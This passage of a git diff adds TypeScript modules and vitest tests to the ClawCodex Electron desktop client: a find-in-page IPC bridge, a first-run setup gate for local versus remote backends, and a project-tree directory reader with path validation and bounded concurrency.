index 000000000..1e21b23a2
--- /dev/null
+++ b/ui-desktop/electron/find-in-page.ts
@@ -0,0 +1,120 @@
+/**
+ * Pure helpers for the desktop find-in-page bridge (Ctrl/Cmd+F).
+ *
+ * The renderer drives an Electron `webContents.findInPage` over IPC so it can
+ * reuse the native "find-in-page" experience (incremental search, match
+ * highlight, Enter to step, Shift+Enter to step backwards, Escape to clear)
+ * across chat transcripts and editor panels. Everything in this module is
+ * pure with respect to its inputs so the routing + payload shaping can be
+ * unit-tested without booting a BrowserWindow.
+ *
+ * Multi-window correctness: the IPC handlers in main.ts resolve the
+ * requesting window via `BrowserWindow.fromWebContents(event.sender)` so a
+ * Cmd+F pressed in a secondary session window searches THAT window, not the
+ * primary. The `found-in-page` results are forwarded back to the same sender
+ * — see {@link installFoundInPageForwarder}.
+ */
+
+/** Match options accepted by the renderer's `findInPage` bridge call. */
+export interface FindInPageOptions {
+  /** Step direction. Defaults to `true` (forward). */
+  forward?: boolean
+  /**
+   * `true` to advance to the next/previous match using the previous query;
+   * `false` to (re)search the current `query` from scratch. The renderer
+   * passes `false` on a fresh query and `true` on Enter / Shift+Enter.
+   */
+  findNext?: boolean
+}
+
+/** Payload shape sent back to the renderer on every `found-in-page` event. */
+export interface FoundInPagePayload {
+  /** 1-indexed ordinal of the active match, or 0 when none. */
+  activeMatchOrdinal: number
+  /** Total matches in the document for the current query. */
+  count: number
+}
+
+/**
+ * Defensive projection of Electron's `found-in-page` event result. Electron
+ * exposes more fields (finalUpdate, selectionArea, etc.) that we don't need;
+ * keeping the projection explicit makes the wire shape auditable and keeps
+ * tests independent of the runtime type.
+ */
+export function formatFoundInPage(result: { activeMatchOrdinal?: number; matches?: number }): FoundInPagePayload {
+  return {
+    activeMatchOrdinal: Number(result?.activeMatchOrdinal ?? 0),
+    count: Number(result?.matches ?? 0)
+  }
+}
+
+/**
+ * Issue a `findInPage` against the given `webContents`. No-op when the
+ * webContents is missing or destroyed — surfaces as a silent miss rather
+ * than throwing across the IPC boundary, matching Electron's own semantics
+ * for a destroyed renderer.
+ */
+export function performFind(
+  webContents: Electron.WebContents | null | undefined,
+  query: string,
+  options: FindInPageOptions | null | undefined
+): void {
+  if (!webContents || webContents.isDestroyed()) {
+    return
+  }
+
+  const opts = options && typeof options === 'object' ? options : {}
+
+  webContents.findInPage(String(query ?? ''), {
+    forward: opts.forward !== false,
+    findNext: Boolean(opts.findNext)
+  })
+}
+
+/**
+ * Stop the current find and clear highlights. The default `action` matches
+ * what the renderer sends on Escape / close.
+ */
+export function stopFind(
+  webContents: Electron.WebContents | null | undefined,
+  action: 'clearSelection' | 'keepSelection' | 'activateSelection' = 'clearSelection'
+): void {
+  if (!webContents || webContents.isDestroyed()) {
+    return
+  }
+
+  webContents.stopFindInPage(action)
+}
+
+/**
+ * Install a `found-in-page` listener on the given sender `webContents` and
+ * forward each result back to the SAME renderer (via `webContents.send`).
+ *
+ * Returns an uninstall function. Call it from `webContents.on('destroyed', …)`
+ * to avoid leaking the listener when the window goes away — Electron does
+ * not auto-detach webContents listeners on close.
+ *
+ * The forwarder is intentionally bound to a single sender rather than the
+ * primary window: a Cmd+F pressed in a secondary session window must
+ * highlight matches in THAT window, and the match counter must reflect
+ * THAT window's DOM, not the primary's.
+ */
+export function installFoundInPageForwarder(webContents: Electron.WebContents | null | undefined): () => void {
+  if (!webContents || webContents.isDestroyed()) {
+    return () => {}
+  }
+
+  const handler = (_event: Electron.Event, result: Parameters<typeof formatFoundInPage>[0]) => {
+    if (webContents.isDestroyed()) {
+      return
+    }
+
+    webContents.send('clawcodex:found-in-page', formatFoundInPage(result))
+  }
+
+  webContents.on('found-in-page', handler)
+
+  return () => {
+    webContents.off('found-in-page', handler)
+  }
+}
diff --git a/ui-desktop/electron/first-run-setup-gate.test.ts b/ui-desktop/electron/first-run-setup-gate.test.ts
new file mode 100644
index 000000000..2f62c9c33
--- /dev/null
+++ b/ui-desktop/electron/first-run-setup-gate.test.ts
@@ -0,0 +1,133 @@
+import assert from 'node:assert/strict'
+
+import { test } from 'vitest'
+
+import { createFirstRunSetupGate } from './first-run-setup-gate'
+
+const bootstrapBackend = {
+  activeRoot: '/tmp/clawcodex-home/clawcodex',
+  kind: 'bootstrap-needed',
+  platform: 'linux'
+}
+
+function delay(ms: number) {
+  return new Promise(resolve => setTimeout(resolve, ms))
+}
+
+async function settledState(promise: Promise<unknown>) {
+  return Promise.race([promise.then(() => 'resolved'), delay(10).then(() => 'pending')])
+}
+
+test('first-run setup gate skips non-bootstrap backends', async () => {
+  const prompts = []
+  const gate = createFirstRunSetupGate({ promptChoice: backend => prompts.push(backend), stuckAfterMs: 0 })
+
+  await gate.wait({ kind: 'remote' })
+  await gate.wait(null)
+
+  assert.deepEqual(prompts, [])
+  assert.equal(gate.hasWaiter(), false)
+})
+
+test('first-run setup gate prompts once for concurrent waits', async () => {
+  const prompts = []
+  const gate = createFirstRunSetupGate({ promptChoice: backend => prompts.push(backend), stuckAfterMs: 0 })
+
+  const first = gate.wait(bootstrapBackend)
+  const second = gate.wait(bootstrapBackend)
+
+  assert.equal(gate.hasWaiter(), true)
+  assert.equal(prompts.length, 1)
+  assert.equal(await settledState(first), 'pending')
+
+  gate.continueLocal()
+
+  assert.deepEqual(await Promise.all([first, second]), ['continue-local', 'continue-local'])
+  assert.equal(gate.hasWaiter(), false)
+  assert.equal(gate.isLocalBootstrapConfirmed(), true)
+})
+
+test('continueLocal keeps the setup choice visible until bootstrap owns the overlay', async () => {
+  let hidden = 0
+  const gate = createFirstRunSetupGate({ hideChoice: () => hidden++, stuckAfterMs: 0 })
+  const pending = gate.wait(bootstrapBackend)
+
+  gate.continueLocal()
+
+  assert.equal(await pending, 'continue-local')
+  assert.equal(hidden, 0)
+  assert.equal(gate.isLocalBootstrapConfirmed(), true)
+})
+
+test('retry reset preserves the local install confirmation', async () => {
+  const prompts = []
+  const gate = createFirstRunSetupGate({ promptChoice: backend => prompts.push(backend), stuckAfterMs: 0 })
+
+  const pending = gate.wait(bootstrapBackend)
+  gate.continueLocal()
+  await pending
+
+  gate.resetForRetry()
+  await gate.wait(bootstrapBackend)
+
+  assert.equal(gate.isLocalBootstrapConfirmed(), true)
+  assert.equal(prompts.length, 1)
+  assert.equal(gate.hasWaiter(), false)
+})
+
+test('retry reset explicitly settles an active waiter without allowing local bootstrap', async () => {
+  const gate = createFirstRunSetupGate({ stuckAfterMs: 0 })
+  const pending = gate.wait(bootstrapBackend)
+
+  gate.resetForRetry()
+
+  assert.equal(await pending, 'reset')
+  assert.equal(gate.hasWaiter(), false)
+  assert.equal(gate.isLocalBootstrapConfirmed(), false)
+})
+
+test('repair reset clears the local install confirmation and shows the gate again', async () => {
+  const prompts = []
+  const gate = createFirstRunSetupGate({ promptChoice: backend => prompts.push(backend), stuckAfterMs: 0 })
+
+  const pending = gate.wait(bootstrapBackend)
+  gate.continueLocal()
+  await pending
+
+  gate.resetForRepair()
+  const next = gate.wait(bootstrapBackend)
+
+  assert.equal(gate.isLocalBootstrapConfirmed(), false)
+  assert.equal(prompts.length, 2)
+  assert.equal(gate.hasWaiter(), true)
+
+  gate.continueLocal()
+  await next
+})
+
+test('remote apply settles the gated boot for remote re-resolution and hides the choice', async () => {
+  let hidden = 0
+  const gate = createFirstRunSetupGate({ hideChoice: () => hidden++, stuckAfterMs: 0 })
+  const pending = gate.wait(bootstrapBackend)
+
+  const resumedWaiter = gate.abandonForRemoteApply()
+
+  assert.equal(resumedWaiter, true)
+  assert.equal(hidden, 1)
+  assert.equal(gate.hasWaiter(), false)
+  assert.equal(gate.isLocalBootstrapConfirmed(), false)
+  assert.equal(await pending, 'remote-applied')
+})
+
+test('remote apply without a waiter has no first-run side effects', async () => {
+  let hidden = 0
+  const gate = createFirstRunSetupGate({ hideChoice: () => hidden++, stuckAfterMs: 0 })
+  const pending = gate.wait(bootstrapBackend)
+
+  gate.continueLocal()
+  await pending
+
+  assert.equal(gate.abandonForRemoteApply(), false)
+  assert.equal(hidden, 0)
+  assert.equal(gate.isLocalBootstrapConfirmed(), true)
+})
diff --git a/ui-desktop/electron/first-run-setup-gate.ts b/ui-desktop/electron/first-run-setup-gate.ts
new file mode 100644
index 000000000..e775f3a64
--- /dev/null
+++ b/ui-desktop/electron/first-run-setup-gate.ts
@@ -0,0 +1,146 @@
+interface FirstRunSetupBackend {
+  activeRoot?: string
+  kind?: string
+  platform?: string
+}
+
+interface FirstRunSetupGateOptions {
+  hideChoice?: () => void
+  log?: (message: string) => void
+  onStuck?: (backend: FirstRunSetupBackend, stuckAfterMs: number) => void
+  promptChoice?: (backend: FirstRunSetupBackend) => void
+  stuckAfterMs?: number
+}
+
+export type FirstRunSetupDecision = 'continue-local' | 'remote-applied' | 'reset'
+
+export function createFirstRunSetupGate({
+  hideChoice,
+  log,
+  onStuck,
+  promptChoice,
+  stuckAfterMs = 120000
+}: FirstRunSetupGateOptions = {}) {
+  let localBootstrapConfirmed = false
+
+  let waiter: {
+    promise: Promise<FirstRunSetupDecision>
+    resolve: (decision: FirstRunSetupDecision) => void
+  } | null = null
+
+  let stuckTimer: ReturnType<typeof setTimeout> | null = null
+
+  const clearStuckTimer = () => {
+    if (stuckTimer) {
+      clearTimeout(stuckTimer)
+      stuckTimer = null
+    }
+  }
+
+  const armStuckTimer = (backend: FirstRunSetupBackend) => {
+    clearStuckTimer()
+
+    if (!Number.isFinite(stuckAfterMs) || stuckAfterMs <= 0 || typeof log !== 'function') {
+      return
+    }
+
+    stuckTimer = setTimeout(() => {
+      onStuck?.(backend, stuckAfterMs)
+      log(
+        `[bootstrap] still waiting for first-run setup choice after ${Math.round(stuckAfterMs / 1000)}s ` +
+          `(platform=${backend?.platform || 'unknown'})`
+      )
+    }, stuckAfterMs)
+
+    if (typeof stuckTimer.unref === 'function') {
+      stuckTimer.unref()
+    }
+  }
+
+  const shouldGate = (backend?: FirstRunSetupBackend | null) =>
+    Boolean(backend && backend.kind === 'bootstrap-needed' && !localBootstrapConfirmed)
+
+  const wait = async (backend?: FirstRunSetupBackend | null) => {
+    if (!shouldGate(backend)) {
+      return 'continue-local' as const
+    }
+
+    if (waiter) {
+      return waiter.promise
+    }
+
+    promptChoice?.(backend)
+    armStuckTimer(backend)
+
+    let resolveWaiter: (decision: FirstRunSetupDecision) => void = () => {}
+
+    const promise = new Promise<FirstRunSetupDecision>(resolve => {
+      resolveWaiter = resolve
+    })
+
+    waiter = { promise, resolve: resolveWaiter }
+
+    return promise
+  }
+
+  const settleWaiter = (decision: FirstRunSetupDecision) => {
+    clearStuckTimer()
+
+    if (!waiter) {
+      return false
+    }
+
+    const activeWaiter = waiter
+    waiter = null
+    activeWaiter.resolve(decision)
+
+    return true
+  }
+
+  const continueLocal = () => {
+    localBootstrapConfirmed = true
+    settleWaiter('continue-local')
+  }
+
+  const resetForRetry = () => {
+    // Reset paths are followed by a renderer reload / fresh startClawCodex() call.
+    // Settle the old boot explicitly so it cannot fall through into local
+    // bootstrap and cannot leak a forever-pending connection promise.
+    settleWaiter('reset')
+  }
+
+  const resetForRepair = () => {
+    resetForRetry()
+    localBootstrapConfirmed = false
+  }
+
+  const abandonForRemoteApply = () => {
+    // Resume the gated startClawCodex() with an explicit remote decision. The
+    // caller re-resolves the newly-persisted remote config instead of falling
+    // through into local bootstrap or leaking the original connection promise.
+    const resumedWaiter = settleWaiter('remote-applied')
+
+    if (!resumedWaiter) {
+      return false
+    }
+
+    localBootstrapConfirmed = false
+    hideChoice?.()
+
+    return true
+  }
+
+  const isLocalBootstrapConfirmed = () => localBootstrapConfirmed
+  const hasWaiter = () => Boolean(waiter)
+
+  return {
+    abandonForRemoteApply,
+    continueLocal,
+    hasWaiter,
+    isLocalBootstrapConfirmed,
+    resetForRepair,
+    resetForRetry,
+    shouldGate,
+    wait
+  }
+}
diff --git a/ui-desktop/electron/first-run-setup-main-process.test.ts b/ui-desktop/electron/first-run-setup-main-process.test.ts
new file mode 100644
index 000000000..b9f19f335
--- /dev/null
+++ b/ui-desktop/electron/first-run-setup-main-process.test.ts
@@ -0,0 +1,119 @@
+import assert from 'node:assert/strict'
+
+import { test, vi } from 'vitest'
+
+import { applyConnectionChange } from './connection-apply'
+import { createFirstRunSetupGate } from './first-run-setup-gate'
+import { runPrimaryBackendStartup } from './primary-backend-startup'
+import { rehomePrimaryConnection } from './primary-connection-rehome'
+
+test('a first-run bootstrap-needed remote apply connects without ensuring or bootstrapping locally', async () => {
+  const gate = createFirstRunSetupGate({ stuckAfterMs: 0 })
+
+  const bootstrapBackend = {
+    activeRoot: '/tmp/clawcodex-home/clawcodex',
+    kind: 'bootstrap-needed',
+    platform: 'linux'
+  }
+
+  const candidateRemote = {
+    authMode: 'token',
+    baseUrl: 'https://gateway.example.com/clawcodex',
+    source: 'settings',
+    token: 'secret',
+    wsUrl: 'wss://gateway.example.com/clawcodex/api/ws?token=secret'
+  }
+
+  let savedRemote: typeof candidateRemote | null = null
+
+  const resolveRemote = vi.fn(async () => savedRemote)
+  const connectRemote = vi.fn(async remote => ({ ...remote, mode: 'remote' as const }))
+  const runBootstrap = vi.fn()
+
+  const ensureLocalRuntime = vi.fn(async backend => {
+    await runBootstrap()
+
+    return { ...backend, command: 'clawcodex' }
+  })
+
+  const teardownPrimaryBackend = vi.fn(async () => {})
+  const cancelSshBootstrap = vi.fn(async () => {})
+  const teardownSsh = vi.fn(async () => {})
+  const clearLocalBootstrapFailure = vi.fn()
+  const notifyConnectionApplied = vi.fn()
+  const waitForLocalStart = vi.fn(async () => {})
+  const prepareLocalBackend = vi.fn(async () => bootstrapBackend)
+
+  const pendingConnection = runPrimaryBackendStartup({
+    connectRemote,
+    ensureLocalRuntime,
+    prepareLocalBackend,
+    resolveRemote,
+    waitForDecision: gate.wait,
+    waitForLocalStart
+  })
+
+  await vi.waitFor(() => assert.equal(gate.hasWaiter(), true))
+
+  // Mirrors the IPC handler's production ordering: persist the tested config,
+  // then re-home. The pending start must re-resolve this saved value.
+  savedRemote = candidateRemote
+
+  await applyConnectionChange({
+    cancelAndWait: cancelSshBootstrap,
+    isPrimary: true,
+    rehomePrimary: () =>
+      rehomePrimaryConnection({
+        clearLocalBootstrapFailure,
+        mode: 'remote',
+        notifyConnectionApplied,
+        resumeFirstRunRemote: gate.abandonForRemoteApply,
+        teardownPrimaryBackend
+      }),
+    scope: '',
+    sendApplied: notifyConnectionApplied,
+    stopPool: vi.fn(),
+    teardownPrimary: teardownPrimaryBackend,
+    teardownSsh
+  })
+
+  assert.deepEqual(await pendingConnection, {
+    kind: 'remote',
+    connection: { ...candidateRemote, mode: 'remote' }
+  })
+  assert.deepEqual(resolveRemote.mock.calls, [[], []])
+  assert.deepEqual(connectRemote.mock.calls, [[candidateRemote]])
+  assert.deepEqual(waitForLocalStart.mock.calls, [[]])
+  assert.deepEqual(prepareLocalBackend.mock.calls, [[]])
+  assert.equal(ensureLocalRuntime.mock.calls.length, 0)
+  assert.equal(runBootstrap.mock.calls.length, 0)
+  assert.deepEqual(cancelSshBootstrap.mock.calls, [['']])
+  assert.deepEqual(teardownSsh.mock.calls, [['']])
+  assert.equal(teardownPrimaryBackend.mock.calls.length, 0)
+  assert.equal(clearLocalBootstrapFailure.mock.calls.length, 1)
+  assert.equal(notifyConnectionApplied.mock.calls.length, 0)
+})
+
+test('a primary apply without an active first-run gate tears down before reconnect notification', async () => {
+  const order: string[] = []
+  const clearLocalBootstrapFailure = vi.fn(() => order.push('clear-failure'))
+
+  const teardownPrimaryBackend = vi.fn(async () => {
+    order.push('teardown')
+  })
+
+  const notifyConnectionApplied = vi.fn(() => order.push('notify'))
+
+  assert.deepEqual(
+    await rehomePrimaryConnection({
+      clearLocalBootstrapFailure,
+      mode: 'remote',
+      notifyConnectionApplied,
+      resumeFirstRunRemote: () => false,
+      teardownPrimaryBackend
+    }),
+    { resumedFirstRunRemote: false }
+  )
+  assert.deepEqual(teardownPrimaryBackend.mock.calls, [[{ soft: true }]])
+  assert.deepEqual(order, ['clear-failure', 'teardown', 'notify'])
+})
diff --git a/ui-desktop/electron/fs-read-dir.test.ts b/ui-desktop/electron/fs-read-dir.test.ts
new file mode 100644
index 000000000..79095eb93
--- /dev/null
+++ b/ui-desktop/electron/fs-read-dir.test.ts
@@ -0,0 +1,375 @@
+import assert from 'node:assert/strict'
+import fs from 'node:fs'
+import os from 'node:os'
+import path from 'node:path'
+import { pathToFileURL } from 'node:url'
+
+import { test } from 'vitest'
+
+import { readDirForIpc } from './fs-read-dir'
+
+function mkTmpDir() {
+  return fs.mkdtempSync(path.join(os.tmpdir(), 'clawcodex-fs-read-dir-'))
+}
+
+function fakeDirent(name, flags: any = {}) {
+  return {
+    name,
+    isDirectory: () => Boolean(flags.directory),
+    isFile: () => Boolean(flags.file),
+    isSymbolicLink: () => Boolean(flags.symlink)
+  }
+}
+
+test('readDirForIpc hides noisy directories and files from the project tree', async () => {
+  const root = mkTmpDir()
+
+  try {
+    fs.mkdirSync(path.join(root, 'node_modules'))
+    fs.mkdirSync(path.join(root, 'src'))
+    fs.writeFileSync(path.join(root, 'target'), 'hidden file')
+    fs.writeFileSync(path.join(root, 'README.md'), 'visible file')
+
+    const result = await readDirForIpc(root)
+
+    assert.equal(result.error, undefined)
+    assert.deepEqual(
+      result.entries.map(entry => entry.name),
+      ['src', 'README.md']
+    )
+  } finally {
+    fs.rmSync(root, { recursive: true, force: true })
+  }
+})
+
+test('readDirForIpc filters a hidden basename whether it is a file or directory', async () => {
+  const dirRoot = mkTmpDir()
+  const fileRoot = mkTmpDir()
+
+  try {
+    fs.mkdirSync(path.join(dirRoot, 'node_modules'))
+    fs.writeFileSync(path.join(dirRoot, 'visible.txt'), 'visible')
+    fs.writeFileSync(path.join(fileRoot, 'node_modules'), 'hidden file')
+    fs.writeFileSync(path.join(fileRoot, 'visible.txt'), 'visible')
+
+    assert.deepEqual(
+      (await readDirForIpc(dirRoot)).entries.map(entry => entry.name),
+      ['visible.txt']
+    )
+    assert.deepEqual(
+      (await readDirForIpc(fileRoot)).entries.map(entry => entry.name),
+      ['visible.txt']
+    )
+  } finally {
+    fs.rmSync(dirRoot, { recursive: true, force: true })
+    fs.rmSync(fileRoot, { recursive: true, force: true })
+  }
+})
+
+test('readDirForIpc returns directories before files and sorts by name within groups', async () => {
+  const root = mkTmpDir()
+
+  try {
+    fs.writeFileSync(path.join(root, 'z.txt'), 'z')
+    fs.mkdirSync(path.join(root, 'src'))
+    fs.writeFileSync(path.join(root, 'a.txt'), 'a')
+    fs.mkdirSync(path.join(root, 'lib'))
+
+    const result = await readDirForIpc(root)
+
+    assert.equal(result.error, undefined)
+    assert.deepEqual(
+      result.entries.map(entry => entry.name),
+      ['lib', 'src', 'a.txt', 'z.txt']
+    )
+  } finally {
+    fs.rmSync(root, { recursive: true, force: true })
+  }
+})
+
+test('readDirForIpc accepts file URLs for directories', async () => {
+  const root = mkTmpDir()
+
+  try {
+    fs.mkdirSync(path.join(root, 'src'))
+    fs.writeFileSync(path.join(root, 'README.md'), 'visible file')
+
+    const result = await readDirForIpc(pathToFileURL(root).toString())
+
+    assert.equal(result.error, undefined)
+    assert.deepEqual(
+      result.entries.map(entry => entry.name),
+      ['src', 'README.md']
+    )
+  } finally {
+    fs.rmSync(root, { recursive: true, force: true })
+  }
+})
+
+test('readDirForIpc returns invalid-path for blank or non-string input', async () => {
+  let readdirCalls = 0
+
+  const fsImpl = {
+    promises: {
+      readdir: async () => {
+        readdirCalls += 1
+
+        return []
+      }
+    }
+  }
+
+  assert.deepEqual(await readDirForIpc('', { fs: fsImpl }), { entries: [], error: 'invalid-path' })
+  assert.deepEqual(await readDirForIpc('   ', { fs: fsImpl }), { entries: [], error: 'invalid-path' })
+  assert.deepEqual(await readDirForIpc(null, { fs: fsImpl }), { entries: [], error: 'invalid-path' })
+  assert.equal(readdirCalls, 0)
+})
+
+test('readDirForIpc rejects Windows device paths before readdir', async () => {
+  let readdirCalls = 0
+
+  const fsImpl = {
+    promises: {
+      readdir: async () => {
+        readdirCalls += 1
+
+        return []
+      }
+    }
+  }
+
+  assert.deepEqual(await readDirForIpc('\\\\?\\C:\\secret', { fs: fsImpl }), {
+    entries: [],
+    error: 'device-path'
+  })
+  assert.equal(readdirCalls, 0)
+})
+
+test('readDirForIpc returns filesystem error codes instead of throwing', async () => {
+  const root = mkTmpDir()
+
+  try {
+    const result = await readDirForIpc(path.join(root, 'missing'))
+
+    assert.deepEqual(result, { entries: [], error: 'ENOENT' })
+  } finally {
+    fs.rmSync(root, { recursive: true, force: true })
+  }
+})
+
+test('readDirForIpc marks a symlink to a directory as a directory', async t => {
+  const root = mkTmpDir()
+
+  try {
+    fs.mkdirSync(path.join(root, 'actual-dir'))
+
+    try {
+      fs.symlinkSync(path.join(root, 'actual-dir'), path.join(root, 'linked-dir'), 'dir')
+    } catch (error) {
+      if (error?.code === 'EPERM' || error?.code === 'EACCES') {
+        t.skip(`symlink creation is not permitted on this platform (${error.code})`)
+
+        return
+      }
+
+      throw error
+    }
+
+    const result = await readDirForIpc(root)
+    const linked = result.entries.find(entry => entry.name === 'linked-dir')
+
+    assert.equal(result.error, undefined)
+    assert.equal(linked?.isDirectory, true)
+  } finally {
+    fs.rmSync(root, { recursive: true, force: true })
+  }
+})
+
+test('readDirForIpc marks a Windows junction to a directory as a directory', async t => {
+  if (process.platform !== 'win32') {
+    t.skip('junctions are a Windows-specific symlink type')
+
+    return
+  }
+
+  const root = mkTmpDir()
+
+  try {
+    fs.mkdirSync(path.join(root, 'actual-dir'))
+
+    try {
+      fs.symlinkSync(path.join(root, 'actual-dir'), path.join(root, 'junction-dir'), 'junction')
+    } catch (error) {
+      if (error?.code === 'EPERM' || error?.code === 'EACCES') {
+        t.skip(`junction creation is not permitted on this platform (${error.code})`)
+
+        return
+      }
+
+      throw error
+    }
+
+    const result = await readDirForIpc(root)
+    const junction = result.entries.find(entry => entry.name === 'junction-dir')
+
+    assert.equal(result.error, undefined)
+    assert.equal(junction?.isDirectory, true)
+  } finally {
+    fs.rmSync(root, { recursive: true, force: true })
+  }
+})
+
+test('readDirForIpc allows expanding symlink or junction directories outside the project root', async t => {
+  const root = mkTmpDir()
+  const outside = mkTmpDir()
+
+  try {
+    fs.writeFileSync(path.join(outside, 'outside.txt'), 'ok')
+
+    const linkPath = path.join(root, 'outside-link')
+
+    try {
+      fs.symlinkSync(outside, linkPath, process.platform === 'win32' ? 'junction' : 'dir')
+    } catch (error) {
+      if (error?.code === 'EPERM' || error?.code === 'EACCES') {
+        t.skip(`directory symlink creation is not permitted on this platform (${error.code})`)
+
+        return
+      }
+
+      throw error
+    }
+
+    const result = await readDirForIpc(linkPath)
+
+    assert.equal(result.error, undefined)
+    assert.deepEqual(result.entries, [
+      { name: 'outside.txt', path: path.join(linkPath, 'outside.txt'), isDirectory: false }
+    ])
+  } finally {
+    fs.rmSync(root, { recursive: true, force: true })
+    fs.rmSync(outside, { recursive: true, force: true })
+  }
+})
+
+test('readDirForIpc stats symbolic links and unknown entries without dropping the whole listing', async () => {
+  const input = path.join('virtual-root')
+  const resolved = path.resolve(input)
+  const statCalls = []
+
+  const fsImpl = {
+    promises: {
+      readdir: async () => [
+        fakeDirent('unknown-entry'),
+        fakeDirent('linked-dir', { symlink: true }),
+        fakeDirent('broken-link', { symlink: true }),
+        fakeDirent('plain.txt', { file: true })
+      ],
+      stat: async fullPath => {
+        if (fullPath === resolved) {
+          return { isDirectory: () => true }
+        }
+
+        statCalls.push(fullPath)
+
+        if (fullPath.endsWith(`${path.sep}linked-dir`)) {
+          return { isDirectory: () => true }
+        }
+
+        throw Object.assign(new Error('gone'), { code: 'ENOENT' })
+      }
+    }
+  }
+
+  const result = await readDirForIpc(input, { fs: fsImpl })
+
+  assert.equal(result.error, undefined)
+  assert.deepEqual(
+    statCalls.sort(),
+    [path.join(resolved, 'broken-link'), path.join(resolved, 'linked-dir'), path.join(resolved, 'unknown-entry')].sort()
+  )
+  assert.deepEqual(result.entries, [
+    { name: 'linked-dir', path: path.join(resolved, 'linked-dir'), isDirectory: true },
+    { name: 'broken-link', path: path.join(resolved, 'broken-link'), isDirectory: false },
+    { name: 'plain.txt', path: path.join(resolved, 'plain.txt'), isDirectory: false },
+    { name: 'unknown-entry', path: path.join(resolved, 'unknown-entry'), isDirectory: false }
+  ])
+})
+
+test('readDirForIpc bounds concurrent stats while preserving complete sorted output', async () => {
+  const input = path.join('virtual-root')
+  const resolved = path.resolve(input)
+  const names = Array.from({ length: 105 }, (_, index) => `entry-${String(104 - index).padStart(3, '0')}`)
+  const failedName = 'entry-100'
+  const directoryNames = new Set(names.filter((_, index) => index % 10 === 4))
+  const successfulDirectoryNames = new Set([...directoryNames].filter(name => name !== failedName))
+  const statCalls = []
+  let active = 0
+  let peak = 0
+  let releaseStats
+  let markFirstStatStarted
+
+  const statsReleased = new Promise(resolve => {
+    releaseStats = resolve
+  })
+
+  const firstStatStarted = new Promise(resolve => {
+    markFirstStatStarted = resolve
+  })
+
+  const fsImpl = {
+    promises: {
+      readdir: async () => [
+        fakeDirent('node_modules', { symlink: true }),
+        ...names.map((name, index) => fakeDirent(name, { symlink: index % 2 === 0 }))
+      ],
+      stat: async fullPath => {
+        if (fullPath === resolved) {
+          return { isDirectory: () => true }
+        }
+
+        statCalls.push(fullPath)
+        active += 1
+        peak = Math.max(peak, active)
+        markFirstStatStarted()
+        await statsReleased
+        active -= 1
+
+        const name = path.basename(fullPath)
+
+        if (name === failedName) {
+          throw Object.assign(new Error('gone'), { code: 'ENOENT' })
+        }
+
+        return { isDirectory: () => successfulDirectoryNames.has(name) }
+      }
+    }
+  }
+
+  const resultPromise = readDirForIpc(input, { fs: fsImpl })
+  await firstStatStarted
+  await new Promise(resolve => setImmediate(resolve))
+  releaseStats()
+  const result = await resultPromise
+
+  const expectedNames = [
+    ...names.filter(name => successfulDirectoryNames.has(name)).sort(),
+    ...names.filter(name => !successfulDirectoryNames.has(name)).sort()
+  ]
+
+  assert.equal(result.error, undefined)
+  assert.equal(result.entries.length, names.length)
+  assert.equal(statCalls.length, names.length)
+  assert.equal(
+    statCalls.some(fullPath => fullPath.endsWith(`${path.sep}node_modules`)),
+    false
+  )
+  assert.ok(peak > 1, `expected concurrent stats, observed peak ${peak}`)
+  assert.ok(peak <= 16, `expected at most 16 concurrent stats, observed peak ${peak}`)
+  assert.deepEqual(
+    result.entries.map(entry => entry.name),
+    expectedNames
+  )
+  assert.equal(result.entries.find(entry => entry.name === failedName)?.isDirectory, false)
+  assert.equal(result.entries.filter(entry => entry.isDirectory).length, successfulDirectoryNames.size)
+})
diff --git a/ui-desktop/electron/fs-read-dir.ts b/ui-desktop/electron/fs-read-dir.ts
new file mode 100644
index 000000000..fe8f58b0b
--- /dev/null
+++ b/ui-desktop/electron/fs-read-dir.ts
@@ -0,0 +1,111 @@
+import fs from 'node:fs'
+import path from 'node:path'
+
+import { resolveDirectoryForIpc } from './hardening'
+import { resolveLocalReadPath } from './wsl-path-bridge'
+
+const FS_READDIR_STAT_CONCURRENCY = 16
+
+// Always-hidden noise (covers non-git projects too; gitignore catches many of
+// these, but the project tree should keep the same hygiene without one).
+const FS_READDIR_HIDDEN = new Set([
+  '.git',
+  '.hg',
+  '.svn',
+  '.cache',
+  '.next',
+  '.turbo',
+  '.venv',
+  '__pycache__',
+  'build',
+  'dist',
+  'node_modules',
+  'target',
+  'venv'
+])
+
+function direntIsDirectory(dirent) {
+  return typeof dirent.isDirectory === 'function' && dirent.isDirectory()
+}
+
+function direntIsFile(dirent) {
+  return typeof dirent.isFile === 'function' && dirent.isFile()
+}
+
+function direntIsSymbolicLink(dirent) {
+  return typeof dirent.isSymbolicLink === 'function' && dirent.isSymbolicLink()
+}
+
+function shouldStatDirent(dirent) {
+  if (direntIsDirectory(dirent)) {
+    return false
+  }
+
+  return direntIsSymbolicLink(dirent) || !direntIsFile(dirent)
+}
+
+async function entryForDirent(dirent, resolved, fsImpl) {
+  const fullPath = path.join(resolved, dirent.name)
+  let isDirectory = direntIsDirectory(dirent)
+
+  if (!isDirectory && shouldStatDirent(dirent)) {
+    try {
+      isDirectory = (await fsImpl.promises.stat(fullPath)).isDirectory()
+    } catch {
+      isDirectory = false
+    }
+  }
+
+  return { name: dirent.name, path: fullPath, isDirectory }
+}
+
+async function mapWithStatConcurrency(items, mapper) {
+  const results = new Array(items.length)
+  let nextIndex = 0
+
+  async function runWorker() {
+    while (nextIndex < items.length) {
+      const index = nextIndex
+      nextIndex += 1
+      results[index] = await mapper(items[index])
+    }
+  }
+
+  const workerCount = Math.min(FS_READDIR_STAT_CONCURRENCY, items.length)
+  const workers = Array.from({ length: workerCount } as any, () => runWorker())
+  await Promise.all(workers)
+
+  return results
+}
+
+async function readDirForIpc(dirPath, options: any = {}) {
+  const fsImpl = options.fs || fs
+  let resolved
+
+  // On a Windows host with a WSL backend, a WSL/POSIX cwd (`/home/...`,
+  // `/mnt/c/...`) isn't readable as-is; bridge it to a UNC/drive form first.
+  const readPath = resolveLocalReadPath(String(dirPath ?? ''))
+
+  try {
+    ;({ resolvedPath: resolved } = await resolveDirectoryForIpc(readPath, {
+      fs: fsImpl,
+      purpose: 'Directory read'
+    }))
+  } catch (error) {
+    return { entries: [], error: error?.code || 'read-error' }
+  }
+
+  try {
+    const dirents = await fsImpl.promises.readdir(resolved, { withFileTypes: true })
+    const visibleDirents = dirents.filter(dirent => !FS_READDIR_HIDDEN.has(dirent.name))
+    const entries = await mapWithStatConcurrency(visibleDirents, dirent => entryForDirent(dirent, resolved, fsImpl))
+
+    entries.sort((a, b) => Number(b.isDirectory) - Number(a.isDirectory) || a.name.localeCompare(b.name))
+
+    return { entries }
+  } catch (error) {
